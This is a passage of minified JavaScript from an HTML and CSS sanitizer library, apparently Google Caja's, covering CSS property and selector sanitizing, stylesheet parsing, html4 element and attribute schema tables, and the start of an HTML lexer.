".charCodeAt(0)?"":T==='"'.charCodeAt(0)?n===CSS_PROP_BIT_URL?m?w(S(_(h,decodeCss(t[l].substring(1,y.length-1))),s,m)):"":a&CSS_PROP_BIT_QSTRING&&!(n&n-1)?y:"":"inherit"===y||((L=f.cssLitGroup)?f.cssLitMap||(f.cssLitMap=M(L)):P)[C(y)]===P?y:T==="#".charCodeAt(0)&&/^#(?:[0-9a-f]{3}){1,2}$/.test(y)?a&CSS_PROP_BIT_HASH_VALUE?y:"":"0".charCodeAt(0)<=T&&T<="9".charCodeAt(0)?a&CSS_PROP_BIT_QUANTITY?y:"":(u=y.charCodeAt(1),p=y.charCodeAt(2),g="0".charCodeAt(0)<=u&&u<="9".charCodeAt(0),b="0".charCodeAt(0)<=p&&p<="9".charCodeAt(0),T==="+".charCodeAt(0)&&(g||u===".".charCodeAt(0)&&b)?a&CSS_PROP_BIT_QUANTITY?(g?"":"0")+y.substring(1):"":T==="-".charCodeAt(0)&&(g||u===".".charCodeAt(0)&&b)?a&CSS_PROP_BIT_NEGATIVE_QUANTITY?(g?"-":"-0")+y.substring(1):a&CSS_PROP_BIT_QUANTITY?"0":"":T===".".charCodeAt(0)&&g?a&CSS_PROP_BIT_QUANTITY?"0"+y:"":'url("'===y.substring(0,5)?m&&a&CSS_PROP_BIT_URL?w(S(_(h,t[l].substring(5,y.length-2)),s,m)):"":"("===y.charAt(y.length-1)?E(t,l):o&&/^-?[a-z_][\w\-]*$/.test(y)&&!/__$/.test(y)?r&&o===CSS_PROP_BIT_GLOBAL_NAME?t[l]+r:o===CSS_PROP_BIT_PROPERTY_NAME&&cssSchema[y]&&"number"==typeof cssSchema[y].cssPropBits?y:"":/^\w+$/.test(y)&&n===CSS_PROP_BIT_UNRESERVED_WORD&&a&CSS_PROP_BIT_QSTRING?i+1===c?(t[i]=t[i].substring(0,t[i].length-1)+" "+y+'"',y=""):(i=c,'"'+y+'"'):""))&&(t[c++]=y)}1===c&&t[0]===v&&(c=0),t.length=c}else t.length=0;function E(e,t){for(var r=1,s=t+1,a=e.length;s<a&&r;){var n=e[s++];r+=")"===n?-1:/^[^"']*\($/.test(n)}if(!r)for(var o=e[t].toLowerCase(),i=C(o),l=e.splice(t,s-t,""),c=f.cssFns,u=0,p=c.length;u<p;++u)if(c[u].substring(0,i.length)==i)return l[0]=l[l.length-1]="",d(c[u],l,m,h),o+l.join(" ")+")";return""}};var e,o,i,l,A=/^(active|after|before|first-child|first-letter|focus|hover)$/,x=/^(link|visited)$/,d={};function b(l,e,c,u,p,d,t){var m=void 0,h=t||[0],f=[],g=!1;function a(){g=f.length&&null===f[f.length-1]}return parseCssStylesheet(e,{startStylesheet:function(){m=[]},endStylesheet:function(){},startAtrule:function(e,t){if(g)e=null;else if("@media"===e)m.push("@media"," ",sanitizeMediaQuery(t));else if("@keyframes"===e||"@-webkit-keyframes"===e){var r=t[0];e=1!==t.length||/__$|[^\w\-]/.test(r)?null:(m.push(e," ",r+c.idSuffix),"@keyframes")}else if("@import"===e&&0<t.length)if(e=null,"function"==typeof d){var s=sanitizeMediaQuery(t.slice(1));if("not all"!==s){++h[0];var a=[];m.push(a);var n=S(_(l,(o=t[0],(i=/^\s*["]([^"]*)["]\s*$/.exec(o))||(i=/^\s*[']([^']*)[']\s*$/.exec(o))||(i=/^\s*url\s*[(]["]([^"]*)["][)]\s*$/.exec(o))||(i=/^\s*url\s*[(][']([^']*)['][)]\s*$/.exec(o))||(i=/^\s*url\s*[(]([^)]*)[)]\s*$/.exec(o))?i[1]:null)),function(e){var t=b(n,e.html,c,u,p,d,h);--h[0];var r=s?{toString:function(){return"@media "+s+" {"+t.result+"}"}}:t.result;a[0]=r,d(r,!!h[0])},p)}}else window.console&&window.console.log("@import "+t.join(" ")+" elided");var o,i;g=!e,f.push(e)},endAtrule:function(){f.pop(),g||m.push(";"),a()},startBlock:function(){g||m.push("{")},endBlock:function(){g||(m.push("}"),g=!0)},startRuleset:function(e){var t=void 0,r=!1;if(!g){var s=void 0;if("@keyframes"===f[f.length-1])s=e.join(" ").match(/^ *(?:from|to|\d+(?:\.\d+)?%) *(?:, *(?:from|to|\d+(?:\.\d+)?%) *)*$/i),g=!s,t=[],s=s&&s[0].replace(/ +/g,"");else{var a=sanitizeCssSelectors(e,c),n=a[0];t=a[1],n.length||t.length?(s=n.join(", "))||(s="head > html",r=!0):g=!0}g||m.push(s,"{")}f.push(g?null:{historySensitiveSelectors:t,endOfSelectors:m.length-1,removeHistoryInsensitiveSelectors:r})},endRuleset:function(){var e=f.pop(),t=m.length;if(!g&&(m.push("}"),"object"==typeof e)){var r=e.historySensitiveSelectors;if(r.length){var s=m.slice(e.endOfSelectors);m.push(r.join(", "),function(e){for(var t=!1,r=0,s=e.length;r<s-1;++r){var a=e[r];":"===e[r+1]&&(t=!(cssSchema[a].cssPropBits&CSS_PROP_BIT_ALLOWED_IN_LINK)),t&&(e[r]=""),";"===a&&(t=!1)}return e.join("")}(s))}}e&&e.removeHistoryInsensitiveSelectors&&m.splice(e.endOfSelectors-1,t+1),a()},declaration:function(e,t){if(!g){var r=!1,s=t.length;2<=s&&"!"===t[s-2]&&"important"===t[s-1].toLowerCase()&&(r=!0,t.length-=2),sanitizeCssProperty(e,t,u,l,c.idSuffix),t.length&&m.push(e,":",t.join(" "),r?" !important;":";")}}}),{result:{toString:function(){return m.join("")}},moreToCome:!!h[0]}}d[">"]=d["+"]=d["~"]=d,sanitizeCssSelectors=function(y,T,l){var e,t,c=T.containerClass,E=T.idSuffix,v=T.tagPolicy,u=[],p=[],r=0,s=0;for(e=0;e<y.length;++e)("("==(t=y[e])||"["==t?(++s,1):")"==t||"]"==t?(s&&--s,1):" "!=y[e]||!s&&d[y[e-1]]!==d&&d[y[e+1]]!==d)&&(y[r++]=y[e]);y.length=r;var a=y.length,n=0;for(e=0;e<a;++e)if(","===y[e]){if(!o(n,e))return null;n=e+1}if(!o(n,a))return null;function o(e,t){var b=!1;" "===y[e]&&++e,t-1!==e&&" "===y[t]&&--t;for(var L=[],r=e,s=!0,a=e;s&&a<t;++a){var n=y[a];d[n]!==d&&" "!==n||(o(r,a,n)?r=a+1:s=!1)}function o(e,t,r){var s,a,n,o,i,l=!0;if(s="",e<t)if("*"===(i=y[e]))++e,s=i;else if(/^[a-zA-Z]/.test(i)){var c=v(i.toLowerCase(),[]);c&&("tagName"in c&&(i=c.tagName),++e,s=i)}for(o=n=a="";l&&e<t;++e)if("#"===(i=y[e]).charAt(0))/^#_|__$|[^\w#:\-]/.test(i)?l=!1:a+=i+E;else if("."===i)++e<t&&/^[0-9A-Za-z:_\-]+$/.test(i=y[e])&&!/^_|__$/.test(i)?a+="."+i:l=!1;else if(e+1<t&&"["===y[e]){++e;var u,p=y[e++].toLowerCase(),d=html4.ATTRIBS[s+"::"+p];d!==+d&&(d=html4.ATTRIBS["*::"+p]),T.virtualizeAttrName?("string"!=typeof(u=T.virtualizeAttrName(s,p))&&(l=!1,u=p),l&&d!==+d&&(d=html4.atype.NONE)):(u=p,d!==+d&&(l=!1));var m="",h="",f=!1;switch(/^[~^$*|]?=$/.test(y[e])&&(m=y[e++],h=y[e++],/^[0-9A-Za-z:_\-]+$/.test(h)?h='"'+h+'"':"]"===h&&(h='""',--e),/^"([^\"\\]|\\.)*"$/.test(h)||(l=!1),(f="i"===y[e])&&++e),"]"!==y[e]&&(++e,l=!1),d){case html4.atype.CLASSES:case html4.atype.LOCAL_NAME:case html4.atype.NONE:break;case html4.atype.GLOBAL_NAME:case html4.atype.ID:case html4.atype.IDREF:"="!==m&&"~="!==m&&"$="!==m||'""'==h||f?"|="===m||""===m||(l=!1):h='"'+h.substring(1,h.length-1)+E+'"';break;case html4.atype.URI:case html4.atype.URI_FRAGMENT:""!==m&&(l=!1);break;default:l=!1}l&&(n+="["+u.replace(/[^\w-]/g,"\\$&")+m+h+(f?" i]":"]"))}else{if(!(e<t&&":"===y[e]))break;if(i=y[++e],x.test(i))/^[a*]?$/.test(s)||(l=!1),b=!0,o=":"+i,s="a";else{if(!A.test(i))break;b=!1,o=":"+i}}if(e!==t&&(l=!1),l){var g=(s+a).replace(/[^ .*#\w-]/g,"\\$&")+n+o+r;g&&L.push(g)}return l}if(o(r,t,"")||(s=!1),s){if(L.length){var i=L.join("");null!==c&&(i="."+c+" "+i),(b?u:p).push(i)}return 1}return!l||l(y.slice(e,t))}return[p,u]},o="(?:(?:(?:(?:only|not) )?(?:all|aural|braille|embossed|handheld|print|projection|screen|speech|tty|tv)|"+(e="\\( (?:(?:min-|max-)?(?:(?:device-)?(?:aspect-ratio|height|width)|color(?:-index)?|monochrome|orientation|resolution)|grid|hover|luminosity|pointer|scan|script) (?:: -?(?:[a-z]\\w+(?:-\\w+)*|\\d+(?: / \\d+|(?:\\.\\d+)?(?:p[cxt]|[cem]m|in|dpi|dppx|dpcm|%)?)) )?\\)")+")(?: and ?"+e+")*)",i=/^\w/,l=new RegExp("^"+o+"(?: , "+o+")*$","i"),sanitizeMediaQuery=function(e){for(var t=(e=e.slice()).length,r=0,s=0;s<t;++s){var a=e[s];" "!=a&&(e[r++]=a)}e.length=r;var n=e.join(" ");return n=n.length?l.test(n)?i.test(n)?n:"not all , "+n:"not all":""},sanitizeStylesheet=function(e,t,r,s){return b(e,t,r,s,void 0,void 0).result.toString()},sanitizeStylesheetWithExternals=function(e,t,r,s,a,n){return b(e,t,r,s,a,n)}}(),void 0!==window&&(window.sanitizeCssProperty=sanitizeCssProperty,window.sanitizeCssSelectors=sanitizeCssSelectors,window.sanitizeStylesheet=sanitizeStylesheet,window.sanitizeMediaQuery=sanitizeMediaQuery),"i"!=="I".toLowerCase())throw"I/i problem";!function(){function n(e,t,r,s){return t<r?"@"===e[t].charAt(0)?l(e,t,r,s,!0):c(e,t,r,s):t}function l(e,t,r,s,a){for(var n=t++;t<r&&"{"!==e[t]&&";"!==e[t];)++t;if(t<r&&(a||";"===e[t])){var o=1+n,i=t;o<r&&" "===e[o]&&++o,o<i&&" "===e[i-1]&&--i,s.startAtrule&&s.startAtrule(e[n].toLowerCase(),e.slice(o,i)),t="{"===e[t]?function e(t,r,s,a){++r;a.startBlock&&a.startBlock();for(;r<s;){var n=t[r].charAt(0);if("}"==n){++r;break}" "===n||";"===n?r+=1:r="@"===n?l(t,r,s,a,!1):("{"===n?e:c)(t,r,s,a)}a.endBlock&&a.endBlock();return r}(e,t,r,s):t+1,s.endAtrule&&s.endAtrule()}return t}function c(e,t,r,s){var a=t,n=p(e,t,r,!0);if(n<0)return(n=~n)===a?n+1:n;var o=e[n];if("{"!==o)return n===a?n+1:n;for(t=n+1,a<n&&" "===e[n-1]&&--n,s.startRuleset&&s.startRuleset(e.slice(a,n));t<r;){if("}"===(o=e[t])){++t;break}" "===o?t+=1:t=i(e,t,r,s)}return s.endRuleset&&s.endRuleset(),t}function p(e,t,r,s){for(var a,n=[],o=-1;t<r;++t)if("["===(a=e[t].charAt(0))||"("===a)n[++o]=a;else if("]"===a&&"["===n[o]||")"===a&&"("===n[o])--o;else if("{"===a||"}"===a||";"===a||"@"===a||":"===a&&!s)break;return 0<=o&&(t=~(t+1)),t}parseCssStylesheet=function(e,t){var r=lexCss(e);t.startStylesheet&&t.startStylesheet();for(var s=0,a=r.length;s<a;)s=" "===r[s]?s+1:n(r,s,a,t);t.endStylesheet&&t.endStylesheet()};var d=/^-?[a-z]/i;function m(e,t,r){for(;t<r&&";"!==e[t]&&"}"!==e[t];)++t;return t<r&&";"===e[t]?t+1:t}function i(e,t,r,s){var a,n=e[t++];if(!d.test(n))return m(e,t,r);if(t<r&&" "===e[t]&&++t,t==r||":"!==e[t])return m(e,t,r);++t<r&&" "===e[t]&&++t;var o=t,i=p(e,t,r,!1);if(i<0)i=~i;else{for(var l=[],c=0,u=o;u<i;++u)" "!==(a=e[u])&&(l[c++]=a);if(i<r){do{if(";"===(a=e[i])||"}"===a)break;c=0}while(++i<r);";"===a&&++i}c&&s.declaration&&s.declaration(n.toLowerCase(),l)}return i}parseCssDeclarations=function(e,t){for(var r=lexCss(e),s=0,a=r.length;s<a;)s=" "!==r[s]?i(r,s,a,t):s+1}}(),void 0!==window&&(window.parseCssStylesheet=parseCssStylesheet,window.parseCssDeclarations=parseCssDeclarations);var html4={atype:{NONE:0,URI:1,URI_FRAGMENT:11,SCRIPT:2,STYLE:3,HTML:12,ID:4,IDREF:5,IDREFS:6,GLOBAL_NAME:7,LOCAL_NAME:8,CLASSES:9,FRAME_TARGET:10,MEDIA_QUERY:13}};if(html4.atype=html4.atype,html4.ATTRIBS={"*::class":9,"*::data-*":0,"*::dir":0,"*::draggable":0,"*::hidden":0,"*::id":4,"*::inert":0,"*::itemprop":0,"*::itemref":6,"*::itemscope":0,"*::lang":0,"*::onblur":2,"*::onchange":2,"*::onclick":2,"*::ondblclick":2,"*::onerror":2,"*::onfocus":2,"*::onkeydown":2,"*::onkeypress":2,"*::onkeyup":2,"*::onload":2,"*::onmousedown":2,"*::onmousemove":2,"*::onmouseout":2,"*::onmouseover":2,"*::onmouseup":2,"*::onreset":2,"*::onscroll":2,"*::onselect":2,"*::onsubmit":2,"*::onunload":2,"*::spellcheck":0,"*::style":3,"*::title":0,"*::translate":0,"a::accesskey":0,"a::coords":0,"a::href":1,"a::hreflang":0,"a::name":7,"a::onblur":2,"a::onfocus":2,"a::shape":0,"a::tabindex":0,"a::target":10,"a::type":0,"area::accesskey":0,"area::alt":0,"area::coords":0,"area::href":1,"area::nohref":0,"area::onblur":2,"area::onfocus":2,"area::shape":0,"area::tabindex":0,"area::target":10,"audio::controls":0,"audio::loop":0,"audio::mediagroup":5,"audio::muted":0,"audio::preload":0,"audio::src":1,"bdo::dir":0,"blockquote::cite":1,"br::clear":0,"button::accesskey":0,"button::disabled":0,"button::name":8,"button::onblur":2,"button::onfocus":2,"button::tabindex":0,"button::type":0,"button::value":0,"canvas::height":0,"canvas::width":0,"caption::align":0,"col::align":0,"col::char":0,"col::charoff":0,"col::span":0,"col::valign":0,"col::width":0,"colgroup::align":0,"colgroup::char":0,"colgroup::charoff":0,"colgroup::span":0,"colgroup::valign":0,"colgroup::width":0,"command::checked":0,"command::command":5,"command::disabled":0,"command::icon":1,"command::label":0,"command::radiogroup":0,"command::type":0,"data::value":0,"del::cite":1,"del::datetime":0,"details::open":0,"dir::compact":0,"div::align":0,"dl::compact":0,"fieldset::disabled":0,"font::color":0,"font::face":0,"font::size":0,"form::accept":0,"form::action":1,"form::autocomplete":0,"form::enctype":0,"form::method":0,"form::name":7,"form::novalidate":0,"form::onreset":2,"form::onsubmit":2,"form::target":10,"h1::align":0,"h2::align":0,"h3::align":0,"h4::align":0,"h5::align":0,"h6::align":0,"hr::align":0,"hr::noshade":0,"hr::size":0,"hr::width":0,"iframe::align":0,"iframe::frameborder":0,"iframe::height":0,"iframe::marginheight":0,"iframe::marginwidth":0,"iframe::width":0,"img::align":0,"img::alt":0,"img::border":0,"img::height":0,"img::hspace":0,"img::ismap":0,"img::name":7,"img::src":1,"img::usemap":11,"img::vspace":0,"img::width":0,"input::accept":0,"input::accesskey":0,"input::align":0,"input::alt":0,"input::autocomplete":0,"input::checked":0,"input::disabled":0,"input::inputmode":0,"input::ismap":0,"input::list":5,"input::max":0,"input::maxlength":0,"input::min":0,"input::multiple":0,"input::name":8,"input::onblur":2,"input::onchange":2,"input::onfocus":2,"input::onselect":2,"input::placeholder":0,"input::readonly":0,"input::required":0,"input::size":0,"input::src":1,"input::step":0,"input::tabindex":0,"input::type":0,"input::usemap":11,"input::value":0,"ins::cite":1,"ins::datetime":0,"label::accesskey":0,"label::for":5,"label::onblur":2,"label::onfocus":2,"legend::accesskey":0,"legend::align":0,"li::type":0,"li::value":0,"map::name":7,"menu::compact":0,"menu::label":0,"menu::type":0,"meter::high":0,"meter::low":0,"meter::max":0,"meter::min":0,"meter::value":0,"ol::compact":0,"ol::reversed":0,"ol::start":0,"ol::type":0,"optgroup::disabled":0,"optgroup::label":0,"option::disabled":0,"option::label":0,"option::selected":0,"option::value":0,"output::for":6,"output::name":8,"p::align":0,"pre::width":0,"progress::max":0,"progress::min":0,"progress::value":0,"q::cite":1,"select::autocomplete":0,"select::disabled":0,"select::multiple":0,"select::name":8,"select::onblur":2,"select::onchange":2,"select::onfocus":2,"select::required":0,"select::size":0,"select::tabindex":0,"source::type":0,"table::align":0,"table::bgcolor":0,"table::border":0,"table::cellpadding":0,"table::cellspacing":0,"table::frame":0,"table::rules":0,"table::summary":0,"table::width":0,"tbody::align":0,"tbody::char":0,"tbody::charoff":0,"tbody::valign":0,"td::abbr":0,"td::align":0,"td::axis":0,"td::bgcolor":0,"td::char":0,"td::charoff":0,"td::colspan":0,"td::headers":6,"td::height":0,"td::nowrap":0,"td::rowspan":0,"td::scope":0,"td::valign":0,"td::width":0,"textarea::accesskey":0,"textarea::autocomplete":0,"textarea::cols":0,"textarea::disabled":0,"textarea::inputmode":0,"textarea::name":8,"textarea::onblur":2,"textarea::onchange":2,"textarea::onfocus":2,"textarea::onselect":2,"textarea::placeholder":0,"textarea::readonly":0,"textarea::required":0,"textarea::rows":0,"textarea::tabindex":0,"textarea::wrap":0,"tfoot::align":0,"tfoot::char":0,"tfoot::charoff":0,"tfoot::valign":0,"th::abbr":0,"th::align":0,"th::axis":0,"th::bgcolor":0,"th::char":0,"th::charoff":0,"th::colspan":0,"th::headers":6,"th::height":0,"th::nowrap":0,"th::rowspan":0,"th::scope":0,"th::valign":0,"th::width":0,"thead::align":0,"thead::char":0,"thead::charoff":0,"thead::valign":0,"tr::align":0,"tr::bgcolor":0,"tr::char":0,"tr::charoff":0,"tr::valign":0,"track::default":0,"track::kind":0,"track::label":0,"track::srclang":0,"ul::compact":0,"ul::type":0,"video::controls":0,"video::height":0,"video::loop":0,"video::mediagroup":5,"video::muted":0,"video::poster":1,"video::preload":0,"video::src":1,"video::width":0},html4.ATTRIBS=html4.ATTRIBS,html4.eflags={OPTIONAL_ENDTAG:1,EMPTY:2,CDATA:4,RCDATA:8,UNSAFE:16,FOLDABLE:32,SCRIPT:64,STYLE:128,VIRTUALIZED:256},html4.eflags=html4.eflags,html4.ELEMENTS={a:0,abbr:0,acronym:0,address:0,applet:272,area:2,article:0,aside:0,audio:0,b:0,base:274,basefont:274,bdi:0,bdo:0,big:0,blockquote:0,body:305,br:2,button:0,canvas:0,caption:0,center:0,cite:0,code:0,col:2,colgroup:1,command:2,data:0,datalist:0,dd:1,del:0,details:0,dfn:0,dialog:272,dir:0,div:0,dl:0,dt:1,em:0,fieldset:0,figcaption:0,figure:0,font:0,footer:0,form:0,frame:274,frameset:272,h1:0,h2:0,h3:0,h4:0,h5:0,h6:0,head:305,header:0,hgroup:0,hr:2,html:305,i:0,iframe:4,img:2,input:2,ins:0,isindex:274,kbd:0,keygen:274,label:0,legend:0,li:1,link:274,map:0,mark:0,menu:0,meta:274,meter:0,nav:0,nobr:0,noembed:276,noframes:276,noscript:276,object:272,ol:0,optgroup:0,option:1,output:0,p:1,param:274,pre:0,progress:0,q:0,s:0,samp:0,script:84,section:0,select:0,small:0,source:2,span:0,strike:0,strong:0,style:148,sub:0,summary:0,sup:0,table:0,tbody:1,td:1,textarea:8,tfoot:1,th:1,thead:1,time:0,title:280,tr:1,track:2,tt:0,u:0,ul:0,var:0,video:0,wbr:2},html4.ELEMENTS=html4.ELEMENTS,html4.ELEMENT_DOM_INTERFACES={a:"HTMLAnchorElement",abbr:"HTMLElement",acronym:"HTMLElement",address:"HTMLElement",applet:"HTMLAppletElement",area:"HTMLAreaElement",article:"HTMLElement",aside:"HTMLElement",audio:"HTMLAudioElement",b:"HTMLElement",base:"HTMLBaseElement",basefont:"HTMLBaseFontElement",bdi:"HTMLElement",bdo:"HTMLElement",big:"HTMLElement",blockquote:"HTMLQuoteElement",body:"HTMLBodyElement",br:"HTMLBRElement",button:"HTMLButtonElement",canvas:"HTMLCanvasElement",caption:"HTMLTableCaptionElement",center:"HTMLElement",cite:"HTMLElement",code:"HTMLElement",col:"HTMLTableColElement",colgroup:"HTMLTableColElement",command:"HTMLCommandElement",data:"HTMLElement",datalist:"HTMLDataListElement",dd:"HTMLElement",del:"HTMLModElement",details:"HTMLDetailsElement",dfn:"HTMLElement",dialog:"HTMLDialogElement",dir:"HTMLDirectoryElement",div:"HTMLDivElement",dl:"HTMLDListElement",dt:"HTMLElement",em:"HTMLElement",fieldset:"HTMLFieldSetElement",figcaption:"HTMLElement",figure:"HTMLElement",font:"HTMLFontElement",footer:"HTMLElement",form:"HTMLFormElement",frame:"HTMLFrameElement",frameset:"HTMLFrameSetElement",h1:"HTMLHeadingElement",h2:"HTMLHeadingElement",h3:"HTMLHeadingElement",h4:"HTMLHeadingElement",h5:"HTMLHeadingElement",h6:"HTMLHeadingElement",head:"HTMLHeadElement",header:"HTMLElement",hgroup:"HTMLElement",hr:"HTMLHRElement",html:"HTMLHtmlElement",i:"HTMLElement",iframe:"HTMLIFrameElement",img:"HTMLImageElement",input:"HTMLInputElement",ins:"HTMLModElement",isindex:"HTMLUnknownElement",kbd:"HTMLElement",keygen:"HTMLKeygenElement",label:"HTMLLabelElement",legend:"HTMLLegendElement",li:"HTMLLIElement",link:"HTMLLinkElement",map:"HTMLMapElement",mark:"HTMLElement",menu:"HTMLMenuElement",meta:"HTMLMetaElement",meter:"HTMLMeterElement",nav:"HTMLElement",nobr:"HTMLElement",noembed:"HTMLElement",noframes:"HTMLElement",noscript:"HTMLElement",object:"HTMLObjectElement",ol:"HTMLOListElement",optgroup:"HTMLOptGroupElement",option:"HTMLOptionElement",output:"HTMLOutputElement",p:"HTMLParagraphElement",param:"HTMLParamElement",pre:"HTMLPreElement",progress:"HTMLProgressElement",q:"HTMLQuoteElement",s:"HTMLElement",samp:"HTMLElement",script:"HTMLScriptElement",section:"HTMLElement",select:"HTMLSelectElement",small:"HTMLElement",source:"HTMLSourceElement",span:"HTMLSpanElement",strike:"HTMLElement",strong:"HTMLElement",style:"HTMLStyleElement",sub:"HTMLElement",summary:"HTMLElement",sup:"HTMLElement",table:"HTMLTableElement",tbody:"HTMLTableSectionElement",td:"HTMLTableDataCellElement",textarea:"HTMLTextAreaElement",tfoot:"HTMLTableSectionElement",th:"HTMLTableHeaderCellElement",thead:"HTMLTableSectionElement",time:"HTMLTimeElement",title:"HTMLTitleElement",tr:"HTMLTableRowElement",track:"HTMLTrackElement",tt:"HTMLElement",u:"HTMLElement",ul:"HTMLUListElement",var:"HTMLElement",video:"HTMLVideoElement",wbr:"HTMLElement"},html4.ELEMENT_DOM_INTERFACES=html4.ELEMENT_DOM_INTERFACES,html4.ueffects={NOT_LOADED:0,SAME_DOCUMENT:1,NEW_DOCUMENT:2},html4.ueffects=html4.ueffects,html4.URIEFFECTS={"a::href":2,"area::href":2,"audio::src":1,"blockquote::cite":0,"command::icon":1,"del::cite":0,"form::action":2,"img::src":1,"input::src":1,"ins::cite":0,"q::cite":0,"video::poster":1,"video::src":1},html4.URIEFFECTS=html4.URIEFFECTS,html4.ltypes={UNSANDBOXED:2,SANDBOXED:1,DATA:0},html4.ltypes=html4.ltypes,html4.LOADERTYPES={"a::href":2,"area::href":2,"audio::src":2,"blockquote::cite":2,"command::icon":1,"del::cite":2,"form::action":2,"img::src":1,"input::src":1,"ins::cite":2,"q::cite":2,"video::poster":1,"video::src":2},html4.LOADERTYPES=html4.LOADERTYPES,void 0!==window&&(window.html4=html4),"i"!=="I".toLowerCase())throw"I/i problem";var html_sanitize=function(g){var b,L;void 0!==window&&(b=window.parseCssDeclarations,L=window.sanitizeCssProperty,window.cssSchema);var s={lt:"<",LT:"<",gt:">",GT:">",amp:"&",AMP:"&",quot:'"',apos:"'",nbsp:" "},a=/^#(\d+)$/,n=/^#x([0-9A-Fa-f]+)$/,o=/^[A-Za-z][A-za-z0-9]+$/,i=void 0!==window&&window.document?window.document.createElement("textarea"):null;function t(e,t){return function(e){if(s.hasOwnProperty(e))return s[e];var t=e.match(a);if(t)return String.fromCharCode(parseInt(t[1],10));if(t=e.match(n))return String.fromCharCode(parseInt(t[1],16));if(i&&o.test(e)){i.innerHTML="&"+e+";";var r=i.textContent;return s[e]=r}return"&"+e+";"}(t)}var r=/\0/g;var l=/&(#[0-9]+|#[xX][0-9A-Fa-f]+|\w+);/g,h=/^(#[0-9]+|#[xX][0-9A-Fa-f]+|\w+);/;function c(e){return e.replace(l,t)}var u=/&/g,p=/&([^a-z#]|#(?:[^0-9x]|x(?:[^0-9a-f]|$)|$)|$)/gi,d=/[<]/g,m=/>/g,f=/\"/g;function y(e){return(""+e).replace(u,"&").replace(d,"<").replace(m,">").replace(f,""")}function T(e){return e.replace(p,"&$1").replace(d,"<").replace(m,">")}var E=new RegExp("^\\s*([-.:\\w]+)(?:\\s*(=)\\s*((\")[^\"]*(\"|$)|(')[^']*('|$)|(?=[a-z][-\\w]*\\s*=)|[^\"'\\s]*))?","i"),v=3==="a,b".split(/(,)/).length,w=g.eflags.CDATA|g.eflags.RCDATA;function P(e){var n={cdata:e.cdata||e.cdata,comment:e.comment||e.comment,endDoc:e.endDoc||e.endDoc,endTag:e.endTag||e.endTag,pcdata:e.pcdata||e.pcdata,rcdata:e.rcdata||e.rcdata,startDoc:e.startDoc||e.startDoc,startTag:e.startTag||e.startTag};return function(e,t){return r=n,s=t,a=function(e){var t=/(<\/|<\!--|<[!?]|[&<>])/g;{if(e+="",v)return e.split(t);for(var r,s=[],a=0;null!==(r=t.exec(e));)s.push(e.substring(a,r.index)),s.push(r[0]),a=r.index+r[0].length;return s.push(e.substring(a)),s}}(e),void C(r,a,0,{noMoreGT:!1,noMoreEndComments:!1},s);var r,s,a}}var _={};function S(e,t,r,s,a){return function(){C(e,t,r,s,a)}}function C(e,t,r,s,a){try{var n,o,i;e.startDoc&&0==r&&e.startDoc(a);for(var l=r,c=t.length;l<c;){var u=t[l++],p=t[l];switch(u){case"&":h.test(p)?(e.pcdata&&e.pcdata("&"+p,a,_,S(e,t,l,s,a)),l++):e.pcdata&&e.pcdata("&",a,_,S(e,t,l,s,a));break;case"</":(n=/^([-\w:]+)[^\'\"]*/.exec(p))?n[0].length===p.length&&">"===t[l+1]?(l+=2,i=n[1].toLowerCase(),e.endTag&&e.endTag(i,a,_,S(e,t,l,s,a))):l=M(t,l,e,a,_,s):e.pcdata&&e.pcdata("</",a,_,S(e,t,l,s,a));break;case"<":if(n=/^([-\w:]+)\s*\/?/.exec(p))if(n[0].length===p.length&&">"===t[l+1]){l+=2,i=n[1].toLowerCase(),e.startTag&&e.startTag(i,[],a,_,S(e,t,l,s,a));var d=g.ELEMENTS[i];if(d&w)l=R(t,{name:i,next:l,eflags:d},e,a,_,s)}else l=A(t,l,e,a,_,s);else e.pcdata&&e.pcdata("<",a,_,S(e,t,l,s,a));break;case"\x3c!--":if(!s.noMoreEndComments){for(o=l+1;o<c&&(">"!==t[o]||!/--$/.test(t[o-1]));o++);if(o<c){if(e.comment){var m=t.slice(l,o).join("");e.comment(m.substr(0,m.length-2),a,_,S(e,t,o+1,s,a))}l=o+1}else s.noMoreEndComments=!0}s.noMoreEndComments&&e.pcdata&&e.pcdata("<!--",a,_,S(e,t,l,s,a));break;case"<!":if(/^\w/.test(p)){if(!s.noMoreGT){for(o=l+1;o<c&&">"!==t[o];o++);o<c?l=o+1:s.noMoreGT=!0}s.noMoreGT&&e.pcdata&&e.pcdata("<!",a,_,S(e,t,l,s,a))}else e.pcdata&&e.pcdata("<!",a,_,S(e,t,l,s,a));break;case"<?":if(!s.noMoreGT){for(o=l+1;o<c&&">"!==t[o];o++);o<c?l=o+1:s.noMoreGT=!0}s.noMoreGT&&e.pcdata&&e.pcdata("<?",a,_,S(e,t,l,s,a));break;case">":e.pcdata&&e.pcdata(">",a,_,S(e,t,l,s,a));break;case"":break;default:e.pcdata&&e.pcdata(u,a,_,S(e,t,l,s,a))}}e.endDoc&&e.endDoc(a)}catch(e){if(e!==_)throw e}}function M(e,t,r,s,a,n){var o=B(e,t);return o?(r.endTag&&r.endTag(o.name,s,a,S(r,e,t,n,s)),o.next):e.length}function A(e,t,r,s,a,n){var o=B(e,t);return o?(r.startTag&&r.startTag(o.name,o.attrs,s,a,S(r,e,o.next,n,s)),o.eflags&w?R(e,o,r,s,a,n):o.next):e.length}var x={};function R(e,t,r,s,a,n){var o=e.length;x.hasOwnProperty(t.name)||(x[t.name]=new RegExp("^"+t.name+"(?:[\\s\\/]|$)","i"));for(var i=x[t.name],l=t.next,c=t.next+1;c<o&&("</"!==e[c-1]||!i.test(e[c]));c++);c<o&&--c;var u=e.slice(l,c).join("");if(t.eflags&g.eflags.CDATA)r.cdata&&r.cdata(u,s,a,S(r,e,c,n,s));else{if(!(t.eflags&g.eflags.RCDATA))throw new Error("bug");r.rcdata&&r.rcdata(T(u),s,a,S(r,e,c,n,s))}return c}function B(e,t){var r=/^([-\w:]+)/.exec(e[t]),s={};s.name=r[1].toLowerCase(),s.eflags=g.ELEMENTS[s.name];for(var a=e[t].substr(r[0].length),n=t+1,o=e.length;n<o&&">"!==e[n];n++)a+=e[n];if(!(o<=n)){for(var i=[];""!==a;)if(r=E.exec(a)){if(r[4]&&!r[5]||r[6]&&!r[7]){for(var l=r[4]||r[6],c=!1,u=[a,e[n++]];n<o;n++){if(c){if(">"===e[n])break}else 0<=e[n].indexOf(l)&&(c=!0);u.push(e[n])}if(o<=n)break;a=u.join("");continue}var p=r[1].toLowerCase(),d=r[2]?k(r[3]):"";i.push(p,d),a=a.substr(r[0].length)}else a=a.replace(/^[\s\S][^a-z\s]*/,"");return s.attrs=i,s.next=n+1,s}}function k(e){var t=e.charCodeAt(0);return 